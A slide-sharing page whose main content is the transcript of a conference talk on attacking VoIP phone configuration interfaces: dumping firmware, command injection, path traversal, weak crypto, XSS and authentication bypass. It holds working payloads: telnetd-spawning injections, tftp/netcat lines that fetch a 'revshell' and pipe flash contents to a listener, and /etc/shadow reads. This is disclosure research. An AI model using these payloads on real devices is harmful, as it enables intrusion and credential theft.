DEF CON 24 - Grant Bugher - Bypassing captive portalsDEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portals
 
DEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchDEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitch
 
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
 
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucksDEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
 
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitationDEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
 
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vncDEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
 
DEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devicesDEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devices
 

Recently uploaded

A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)Gabriella Davis
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
Slack Application Development 101 Slides
Slack Application Development 101 SlidesSlack Application Development 101 Slides
Slack Application Development 101 Slidespraypatel2
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesSinan KOZAK
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Alan Dix
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreternaman860154
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel Araújo
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Igalia
 
Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)Allon Mureinik
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfEnterprise Knowledge
 
Google AI Hackathon: LLM based Evaluator for RAG
Google AI Hackathon: LLM based Evaluator for RAGGoogle AI Hackathon: LLM based Evaluator for RAG
Google AI Hackathon: LLM based Evaluator for RAGSujit Pal
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonetsnaman860154
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Servicegiselly40
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 

Recently uploaded (20)

A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
Slack Application Development 101 Slides
Slack Application Development 101 SlidesSlack Application Development 101 Slides
Slack Application Development 101 Slides
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen Frames
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
 
Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
Google AI Hackathon: LLM based Evaluator for RAG
Google AI Hackathon: LLM based Evaluator for RAGGoogle AI Hackathon: LLM based Evaluator for RAG
Google AI Hackathon: LLM based Evaluator for RAG
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
 
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
#StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 

Attacking VoIP Configuration Interfaces

  • 1. I‘m on Your Phone, Listening – Attacking VoIP Configuration Interfaces Stephan Huber | Fraunhofer SIT, Germany Philipp Roskosch | Fraunhofer SIT, Germany
  • 2. About us Stephan Security Researcher @Testlab Mobile Security (Fraunhofer SIT) Code Analysis Tool development IOT Stuff Founder of @TeamSIK 2
  • 3. About us Philipp Security Researcher & Pentester @Secure Software Engineering (Fraunhofer SIT) Static Code Analysis IoT Vuln Detection Research Day 1 Member of @TeamSIK 3
  • 6. Past Projects 6 Def Con 26: Tracker Apps DeF Con 25: Password Manager Apps Def Con 24: Anti Virus Apps Blackhat EU 2015: BAAS Security https://team-sik.org
  • 7. What’s next? 7 Wide distribution Complex software Readily accessible
  • 11. Agenda 11 Background IoT Hacking 101 Findings DOS, Weak Crypto, XSS, CSRF Command Injection Authentication Bypass Memory Corruption Recommendations Responsible disc. experiences Summary
  • 13. Architecture and Attack Targets ARM/ MIPS F L A S H Linux OS Kernel Bootloader 13
  • 14. Architecture and Attack Targets ARM/ MIPS F L A S H Linux OS Kernel init uid:0 watchdog uid:0 sipd uid:0 • loads kernel modules/drivers • spawn webserver • launch scripts • command interface • … (web)server uid:0 Bootloader • basic setup • starts daemons • … • checks if daemons run • … 14
  • 15. Architecture and Attack Targets ARM/ MIPS F L A S H Linux OS Kernel init uid:0 watchdog uid:0 sipd uid:0 • loads kernel modules/drivers • spawn webserver • launch scripts • command interface • … (web)server uid:0 Bootloader • basic setup • starts daemons • … • checks if daemons run • … 15
  • 17. Abstract Methodology 17 Webserver is Running Web Pentesting Static Analysis Dynamic Analysis Setup VoIP Phone Attach HTTP Proxy Extract Firmware Emulation
  • 18. Abstract Methodology 18 Inject dynamic analysis tools Webserver is Running Web Pentesting Static Analysis Dynamic Analysis Setup VoIP Phone Attach HTTP Proxy Extract Firmware Emulation
  • 19. Toolchain 19 ZAP, Burp Suite IDA Pro, Ghidra binwalk, yara gdb, gdbserver, strace ropper, IDA rop Plugin mutiny, boofuzz, … qemu Webserver is Running Web Pentesting Static Analysis Dynamic Analysis Setup VoIP Phone Attach HTTP Proxy Extract Firmware Emulation
  • 21. Firmware Access for Software People Out of scope is desoldering of chips and complex hardware setup and probes https://blog.quarkslab.com/flash-dumping-part-i.html 21 https://hackaday.com/wp-content/uploads/2017/01/dash-mitm.png
  • 22. Firmware Access for Software People Download the firmware from vendor/manufacturer Get image from update traffic Get image or files from the device 22 • Only updates, diffs or patches available • Encrypted images • No update server, only manual
  • 23. HW for Software People we used JTAGulator* by Joe Grand (presented at DC 21) Find JTAG and UART interfaces UART pass through (flexible voltage) Bus Pirate UART, SPI, JTAG debugging mArt UART adapter** Raspberry Pi … * http://www.grandideastudio.com/jtagulator/ ** https://uart-adapter.com/ 23
  • 24. Examples: SPI Bus Pirate Flash Chip Description CS #1 CS Chip Select MISO #2 DO (IO1) Master In, Slave Out 3V3 #3 WP (IO2) Write Protect GND #4 GND Ground MOSI #5 DI (IO0) Master Out, Slave In CLK #6 CLK SPI Clock 3V3 #7 HOLD (IO3) Hold 3V3 #8 VCC Supply Find Datasheet Winbond W25Q64JV Chip on Device Connect Bus Pirate 24
  • 25. Connected Akuvox R50 VoIP Phone with Bus Pirate connected 25
  • 26. Dump it Flashrom* chip detection: Flashrom dump: File extraction : Multiple dumps, output variation: $ flashrom -p buspirate_spi:dev=/dev/ttyUSB0 * https://github.com/flashrom/flashrom $ flashrom -p buspirate_spi:dev=/dev/ttyUSB0 -c W25Q64.V -r firmw2.bin $ binwalk -eM firmw.bin Filename MD5 firmw.bin 3840d51b37fe69e5ac7336fe0a312dd8 firmw2.bin 403ae93e72b1f16712dd25a7010647d6 26
  • 27. Examples: UART Fanvil X6 UART connection 27
  • 28. Examples: Bootloader UART bootloader via serial console (minicom, screen, putty, …) : 28 help info reboot run [app addr] [entry addr] r [addr] w [addr] [val] d [addr] <len> resetcfg … Bootloader Menu: Dump flash memory: d 0x81000000 7700000
  • 30. Use Vulnerability Command injection starts telnet: Root shell without authentication: 30 ;busybox telnetd &# Connected to 10.148.207.126. Escape character is '^]'. DSPG v1.2.4-rc2 OBiPhone OBiPhone login: root root@OBiPhone:~# id uid=0(root) gid=0(root) groups=0(root)
  • 31. Dump with Console 31 Tftp client part of busybox and/or used for firmware update Simple tftpserver* required Download - load file onto device: tftp -g -r revshell 10.148.207.102 6969 Upload - get file from device: tftp -p -r /dev/mtdblock0 10.148.207.102 6969 Netcat, if part of busybox pipe data to listener: Listener, receiver of data: nc –lp 4444 | tar x Sender, data source: busybox tar cf - /dev/mtdblock0 | busybox nc 10.148.207.227 Other clients, like wget, webform, scp, etc… * https://github.com/sirMackk/py3tftp
  • 33. Emulation Approaches CPU emulation (e.g. Unicorn) User mode emulation System mode emulation (third party OS) System mode emulation with original file system System mode emulation including original kernel modules Full system emulation (including unknown peripherals and interfaces) 33
  • 34. Emulation Approaches CPU emulation (e.g. Unicorn) User mode emulation System mode emulation (third party OS) System mode emulation with original file system System mode emulation including original kernel modules Full system emulation (including unknown peripherals and interfaces) 34
  • 35. Firmware Emulation Emulator (QEMU ARM/MIPS) Kernel Linux FS 35
  • 36. Firmware Emulation UI API Process Firmware FS Emulator (QEMU ARM/MIPS) Kernel chrootenvironment Linux FS 36
  • 37. Firmware Emulation UI API Process Firmware FS Emulator (QEMU ARM/MIPS) Kernel chrootenvironment gdb strace Analyzing Tools Linux FS dynamic hooks Value spoofing/runtime patching: • Hook function • Modify runtime values • Memory dumps • … 37
  • 38. Example gdb Patch Script 38 gdb script: #enable non stop mode set target-async on set non-stop off #attach target remote localhost:2345 #change fork mode set follow-fork-mode parent show follow-fork-mode #first continue c #first breakpoint at printf b1 br *0x1a1bc #3rd continue ssl armv7probe c … #change sighandler (11 segfault) set $r0=8 # continue for break1a c … gdb mode change “Automatic” continue or break Change values at runtime
  • 40. DoS 40 Multiple ways of DoSing VoIP phones! Limited CPU/ memory resources Parsing problems Bad TCP/IP Stack implementation Memory corruptions, usage of “bad C” functions …
  • 41. DoS – Super Simple I 41 Extensive nmap scan is too much for Mitel 6865i nmap -p 1-65535 -T4 -A my.voip.phone
  • 42. DoS – Assert Instruction 43 Cisco IP Phone 7821 curl 'http://10.148.207.42/basic"/init.json' -H …
  • 43. DoS – Assert Instruction 44 Cisco IP Phone 7821 curl 'http://10.148.207.42/basic"/init.json' -H …
  • 44. DoS – Assert Instruction 45 Cisco IP Phone 7821 curl 'http://10.148.207.42/basic"/init.json' -H … [..] voice-http:app_get:"/ init.json spr_voip: src/http_get_pal.c:374: http_gen_json: Assertion `core_uri[0] == '/'' failed. [..] restart_mgr-connection 18 from spr_voip closed restart_mgr-processing kill-list for spr_voip restart_mgr-killing ms [..]
  • 45. DoS – CVE-2017-3731 – OpenSSL 46 Web interface provides login via https:// OpenSSL Malformed packet causes out-of-bounds read OpenSSL Version 1.0.2 and 1.1.0 Results in different behavior Fanvil X1P, Firmware 2.10.0.6586, Phone reboots Mitel, Firmware 5.1.0.1024, Phone reboots ALE, Firmware 1.30.20, Webserver crashes Samsung, Firmware 01.62, Webserver restarts
  • 46. Bad crypto stuff 47 Bad Crypto Stuff !
  • 47. Bad Crypto 48 Config File Export in Akuvox R50 Credentials are encrypted ? [ LOGIN ] User =admin Password =D/6SxcRQwsgPwVwdfIiQhg+zh8fqlvfBkNY29aSkxw+CwqItFbeLaPG7tx0D [ WEB_LOGIN ] User =admin Password =xzahQYJBxcgPwVwdfJVoYTfCwiyaoosyF5BAHQ8zleoVwcdBKPXCx0aQxIaJ Type =admin User02 =user Password02 =8cFhHfcPCJIzUP58xJpGNsHHu1C3xAjHt4ReQmFA91DqF0Ayw4c3QEbFhDIo
  • 48. Bad Crypto 49 Config File Export in Akuvox R50 Credentials are encrypted, for real $ echo -n "xzahQYJBxcgPwVwdfJVoYTfCwiyaoosyF5BAHQ8zleoVwcdBKPXCx0aQxIaJ" | base64 -d | xxd 00000000: c736 a141 8241 c5c8 0fc1 5c1d 7c95 6861 .6.A.A.....|.ha 00000010: 37c2 c22c 9aa2 8b32 1790 401d 0f33 95ea 7..,...2..@..3.. 00000020: 15c1 c741 28f5 c2c7 4690 c486 89 ...A(...F....
  • 49. Bad Crypto 50 FW Extraction -> Binary investigation int phone_aes_decrypt(char *key, char *decoded_str, int size, char *result) { }
  • 50. Bad Crypto 51 FW Extraction -> Binary investigation int phone_aes_decrypt(char *key, char *decoded_str, int size, char *result) { }
  • 51. Bad Crypto 52 FW Extraction -> Binary investigation int phone_aes_decrypt(char *key, char *decoded_str, int size, char *result) { int i; int j; int k; unsigned char tmp; if ( !key || !decoded_str || !result || !size ) return -1; for (i = 0; i < size; i++) { decoded_str[i] = box_decr[(int)result[i]]; } for (j = 0; *key % size > j; j++) { printf("j=%dn",j); tmp = *decoded_str; for (k = 0; k < size - 1; k++) { decoded_str[k] = decoded_str[k + 1]; } decoded_str[size - 1] = tmp; } return 0; } Self-implemented Simple substitution, NO AES
  • 52. Bad Crypto 53 FW Extraction -> Binary investigation int phone_aes_decrypt(char *key, char *decoded_str, int size, char *result) { int i; int j; int k; unsigned char tmp; if ( !key || !decoded_str || !result || !size ) return -1; for (i = 0; i < size; i++) { decoded_str[i] = box_decr[(int)result[i]]; } for (j = 0; *key % size > j; j++) { printf("j=%dn",j); tmp = *decoded_str; for (k = 0; k < size - 1; k++) { decoded_str[k] = decoded_str[k + 1]; } decoded_str[size - 1] = tmp; } return 0; } Self-implemented Simple substitution Hardcoded Key in FW “akuvox“
  • 54. AudioCodes 405HD My favorite contact name: <script>alert("Xss");</script> Web Based Findings – XSS 55
  • 55. AudioCodes 405HD My favorite contact name: <script>alert("Xss");</script> Web Based Findings – XSS 56
  • 56. Web Based Findings – Gigaset Maxwell Basic 58 Information leak Using the Web-Interface Traffic Analysis
  • 57. Web Based Findings – Gigaset Maxwell Basic 59 GET http://gigaset.voip/Parameters Using the Web-Interface Traffic Analysis return getCodeMess('session', 'admlog'); return getCodeMess('session', 'admerr'); Information leak
  • 58. Web Based Findings – Gigaset Maxwell Basic 60 GET http://gigaset.voip/Parameters Admin logged in? Yes No Using the Web-Interface Traffic Analysis return getCodeMess('session', 'admlog'); return getCodeMess('session', 'admerr'); Information leak
  • 59. Information leak Web Based Findings – Gigaset Maxwell Basic 61 Admin logged in? Yes No Using the Web-Interface Traffic Analysis ¯_(ツ)_/¯ Not that bad, right ?
  • 60. Web Based Findings – Gigaset Maxwell Basic 62 function sessInfo() { $token = GetSessionToken(); $session = new sessionmanager(); if ($session->getCurrentLoginUser() == USER_ADMIN && $token != $session->getToken()) { return getCodeMess('session', 'admlog'); } else { return getCodeMess('session', 'sesserr'); } }
  • 61. Web Based Findings – Gigaset Maxwell Basic 63 Admin Logging in Generate Session Token Session Token DB
  • 62. Web Based Findings – Gigaset Maxwell Basic 64 Logging in Generate Session Token Session Token DB Send invalid Session Token Admin
  • 63. Web Based Findings – Gigaset Maxwell Basic 65 Logging in Generate Session Token Session Token DB Send invalid Session Token if ($session->getCurrentLoginUser() == USER_ADMIN && $token != $session->getToken()) Admin
  • 64. Digging deeper Web Based Findings – Gigaset Maxwell Basic 66 Firmware Extraction php file investigation
  • 65. function POST_State() { $session = new sessionmanager; $token = GetSessionToken(); $userID = $session->verifySession($token); if ($userID) { // Do Something here } } Digging deeper Web Based Findings – Gigaset Maxwell Basic 67 Firmware Extraction php file investigation
  • 66. Digging deeper Web Based Findings – Gigaset Maxwell Basic 68 Firmware Extraction php file investigation function POST_State() { $session = new sessionmanager; $token = GetSessionToken(); $userID = $session->verifySession($token); if ($userID) { // Do Something here } }
  • 67. Digging deeper Web Based Findings – Gigaset Maxwell Basic 69 Firmware Extraction php file investigation function POST_State() { $session = new sessionmanager; $token = GetSessionToken(); $userID = $session->verifySession($token); if ($userID) { // Do Something here } }
  • 68. Digging even deeper Web Based Findings – Gigaset Maxwell Basic 70 Firmware Extraction php file investigation
  • 69. function POST_Parameters() { $session = new sessionmanager; $token = GetSessionToken(); $userID = $session->verifySession($token); $nvm = new settingscontroller(); $req = array(); $reqarr = json_decode(file_get_contents('php://input')); foreach ($reqarr as $key => $value) { $req[$key] = $value; } $nvm->settingsCheckAccessParams($req); if ($nvm->settingsSaveMultiValue($req) == true) { Digging even deeper Web Based Findings – Gigaset Maxwell Basic 71 Firmware Extraction php file investigation
  • 70. function POST_Parameters() { $session = new sessionmanager; $token = GetSessionToken(); $userID = $session->verifySession($token); $nvm = new settingscontroller(); $req = array(); $reqarr = json_decode(file_get_contents('php://input')); foreach ($reqarr as $key => $value) { $req[$key] = $value; } $nvm->settingsCheckAccessParams($req); if ($nvm->settingsSaveMultiValue($req) == true) { Digging even deeper Web Based Findings – Gigaset Maxwell Basic 72 Firmware Extraction php file investigation Returns 0 as attacker does not know current session token
  • 71. function POST_Parameters() { $session = new sessionmanager; $token = GetSessionToken(); $userID = $session->verifySession($token); $nvm = new settingscontroller(); $req = array(); $reqarr = json_decode(file_get_contents('php://input')); foreach ($reqarr as $key => $value) { $req[$key] = $value; } $nvm->settingsCheckAccessParams($req); if ($nvm->settingsSaveMultiValue($req) == true) { Digging even deeper Web Based Findings – Gigaset Maxwell Basic 73 Firmware Extraction php file investigation Returns 0 as attacker does not know current session token Change it anyway
  • 74. Path Traversal 76 GET http://voip.phone/cmd.bin?file=defcon.txt Send content of: defcon.txt GET http://voip.phone/cmd.bin?file= ../../../../../etc/passwd Send content of: ../../../../../etc/passwd Send content of: /etc/passwd
  • 75. Path Traversal - Yealink T41S 77 POST http://10.148.207.216/servlet?m=mod_data&p=network-diagnosis &q=getinfo&Rajax=0.5174477889842097 HTTP/1.1 Proxy-Connection: keep-alive Content-Length: 53 Origin: http://10.148.207.216 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.24 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://10.148.207.216/servlet?m=mod_data&p=network-diagnosis&q=load Accept-Language: en-gb Cookie: JSESSIONID=3b73d6390697f50 Host: 10.148.207.216 file=../../../../../../../etc/shadow&token=42423833540d4e990
  • 76. Path Traversal - Yealink T41S 78 Response: <html> <body> <div id="_RES_INFO_"> root:$1$.jKlhz1B$/Nmgj2klrsZk3cYc1BLUR/:11876:0:99999:7::: toor:$1$5sa7xxqo$eV4t7Nb1tPqjOWT1s3/ks1:11876:0:99999:7::: </div> </body> </html> Instead of network diagnostics: /etc/shadow
  • 77. Ringtone Code Injection 79 Ringtone file upload provides an attack surface for uploading “code” to execute Path traversal vulnerability would allow to write to arbitrary folder and overwrite a privileged script Problem, script is not an audio file, how to bypass content verification ? Filename: ../../../etc/init.d/OperaEnv.sh
  • 78. Ringtone Code Injection 80 Ringtone file upload provides an attack surface for uploading “code” to execute Path traversal vulnerability would allow to write to arbitrary folder and overwrite a privileged script Problem, script is not an audio file, how to bypass content verification ? Filename: ../../../etc/init.d/OperaEnv.sh
  • 79. Ringtone Code Injection 81 Software verifies file, but only header
  • 80. Ringtone Code Injection 82 Software verifies file, but only header MThd..........MTrk...3... ...2009.11.01... ......@.e...T.!......Q....../. #!/bin/sh echo "New Script for changing password!" echo "Sourcing Opera Environment...“ … MIDI file header each line „invalid command“ script code
  • 81. Ringtone Code Injection 83 Software verifies file, but only header Whole file will be interpreted as script, after passing header verification! MThd..........MTrk...3... ...2009.11.01... ......@.e...T.!......Q....../. #!/bin/sh echo "New Script for changing password!" echo "Sourcing Opera Environment...“ … MIDI file header each line „invalid command“ script code
  • 83. Running Services 85 Portscan of Akuvox device: Starting Nmap 7.01 ( https://nmap.org ) at 2019-07-26 11:20 CEST Initiating Ping Scan at 11:20Scanning 10.148.207.221 [2 ports] ... Host is up (0.014s latency). Not shown: 997 closed ports PORT STATE SERVICE 23/tcp open telnet 80/tcp open http 443/tcp open https Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 2.00 seconds huber@pc-huberlap:~$ Telnet running
  • 84. Problem! 86 The running telnet service can not be turned off ! The firmware image is not public available,
  • 85. Problem! 87 The running telnet service can not be turned off ! The firmware image is not public available, but we dumped it Hashes are DES crypt protected max pass length = 8 On my old GPU it took around 30 days to crack it huber@pc-huber:/akuvox/squashfs-root/etc$ cat shadow root:pVjvZpycBR0mI:10957:0:99999:7::: admin:UCX0aARNR9jK6:10957:0:99999:7:::
  • 88. Command Injection 90 … sprintf(buffer, "ping %s -c 4", ip); system(buffer); … POST: Ip=127.0.0.1 IP: xWeb Interface Ping 127.0.0.1 Webserver • Server app • CGI script … 127.0.0.1
  • 89. Command Injection 91 … sprintf(buffer, "ping %s -c 4", ip); system(buffer); … POST: Ip=127.0.0.1 system("ping 127.0.0.1 –c 4"); // do four pings IP: xWeb Interface Ping 127.0.0.1 Webserver • Server app • CGI script … 127.0.0.1
  • 90. Command Injection 92 IP: xWeb Interface Ping 127.0.0.1 –c 0; ls ;# 127.0.0.1 –c 0; ls ;# ping counter exec ls start comment
  • 91. Command Injection 93 … sprintf(buffer, "ping %s -c 4", ip); system(buffer); … POST: Ip=127.0.0.1 –c 0; ls ;# IP: xWeb Interface Ping 127.0.0.1 –c 0; ls ;# Webserver • Server app • CGI script … 127.0.0.1 –c 0; ls ;# 127.0.0.1 –c 0; ls ;# ping counter exec ls start comment
  • 92. Command Injection 94 … sprintf(buffer, "ping %s -c 4", ip); system(buffer); … POST: Ip=127.0.0.1 –c 0; ls ;# system("ping 127.0.0.1 –c 0; ls ;# –c 4"); // do zero ping, exec ls command, comment IP: xWeb Interface Ping 127.0.0.1 –c 0; ls ;# Webserver • Server app • CGI script … 127.0.0.1 –c 0; ls ;# 127.0.0.1 –c 0; ls ;# ping counter exec ls start comment
  • 93. Command Injection 95 Command injection in AudioCodes 405HD device: curl -i -s -k -X 'GET' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) … -H 'Accept: */*' -H 'Accept-Language: en-GB,en;q=0.5' -H 'Referer: http://10.148.207.249/mainform.cgi/Monitoring.htm' -H 'Authorization: Basic YWRtaW46c3VwZXJwYXNz' –H 'Connection: keep-alive' -H '' 'http://10.148.207.249/command.cgi?ping%20-c%204%20127.0.0.1;/usr/sbin/telnetd' idea, start telnetd
  • 94. Command Injection 96 Command injection in AudioCodes 405HD device: curl -i -s -k -X 'GET' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) … -H 'Accept: */*' -H 'Accept-Language: en-GB,en;q=0.5' -H 'Referer: http://10.148.207.249/mainform.cgi/Monitoring.htm' -H 'Authorization: Basic YWRtaW46c3VwZXJwYXNz' –H 'Connection: keep-alive' -H '' 'http://10.148.207.249/command.cgi?ping%20-c%204%20127.0.0.1;/usr/sbin/telnetd' idea, start telnetd Attacker does not know credentials
